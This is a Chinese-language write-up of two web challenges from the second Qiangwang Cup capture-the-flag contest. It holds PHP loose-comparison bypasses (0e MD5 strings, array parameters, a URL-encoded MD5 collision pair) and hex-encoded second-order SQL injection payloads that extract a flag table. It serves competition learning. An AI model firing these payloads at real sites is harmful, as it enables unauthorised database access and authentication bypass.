第二届强网杯 Writeup

Web签到

提交 param1 ,param2 两个参数,总共三关,考察 php 弱类型,和极客大挑战的题目一样

第一关:


标准弱类型,两个0e开头md5绕过:

1
param1=QNKCDZO&param2=240610708

或者数组绕过

1
param1[]=a&param2[]=b

第二关:

依旧数组绕过:

1
param1[]=a&param2[]=b

第三关:

强制转换成字符串,不能用数组绕过,想到 md5 碰撞,即两个不同的字符串的 md5值相同

1
2
param1=%D11%DD%02%C5%E6%EE%C4i%3D%9A%06%98%AF%F9%5C%2F%CA%B5%87%12F%7E%AB%40%04X%3E%B8%FB%7F%89U%AD4%06%09%F4%B3%02%83%E4%88%83%25qAZ%08Q%25%E8%F7%CD%C9%9F%D9%1D%BD%F2%807%3C%5B%D8%82%3E1V4%8F%5B%AEm%AC%D46%C9%19%C6%DDS%E2%B4%87%DA%03%FD%029c%06%D2H%CD%A0%E9%9F3B%0FW%7E%E8%CET%B6p%80%A8%0D%1E%C6%98%21%BC%B6%A8%83%93%96%F9e%2Bo%F7%2Ap
param2=%D11%DD%02%C5%E6%EE%C4i%3D%9A%06%98%AF%F9%5C%2F%CA%B5%07%12F%7E%AB%40%04X%3E%B8%FB%7F%89U%AD4%06%09%F4%B3%02%83%E4%88%83%25%F1AZ%08Q%25%E8%F7%CD%C9%9F%D9%1D%BDr%807%3C%5B%D8%82%3E1V4%8F%5B%AEm%AC%D46%C9%19%C6%DDS%E24%87%DA%03%FD%029c%06%D2H%CD%A0%E9%9F3B%0FW%7E%E8%CET%B6p%80%28%0D%1E%C6%98%21%BC%B6%A8%83%93%96%F9e%ABo%F7%2Ap

具体可以参见这篇文章:MD5 collision
二进制块转换成字符串后再 url 编码

Three hit

二次注入

注册将用户名,密码,年龄写入数据库,登录过后将年龄显示出来
思路:每次注册一个用户,注入点放进age,登录查看

注册提交age显示只能为数字,age用16进制提交,16进制提交不会对%23url解码,所以用–代替

payload:
username=Str3am1&age=0x2d3636363636363636363636363636363636363636363636363620756e696f6e2073656c65637420312c322c332c34206c696d697420312c312d2d&password=1

因为每次都会将年龄写入数据库里面,所以每次都需要修改年龄的值
username=Str3am11&age=0x2d36363636363636363636363636363636363636363636363620756e696f6e2073656c65637420312c2873656c65637420666c61672066726f6d20666c6167292c332c34206c696d697420312c312d2d&password=1

总结

两天比赛,团队总成绩136名,比赛过程很艰辛,但是收获颇丰,遗憾的是只做出了两道题,还是太菜了,以后坚持赛后写wp,对自己也是一种锻炼。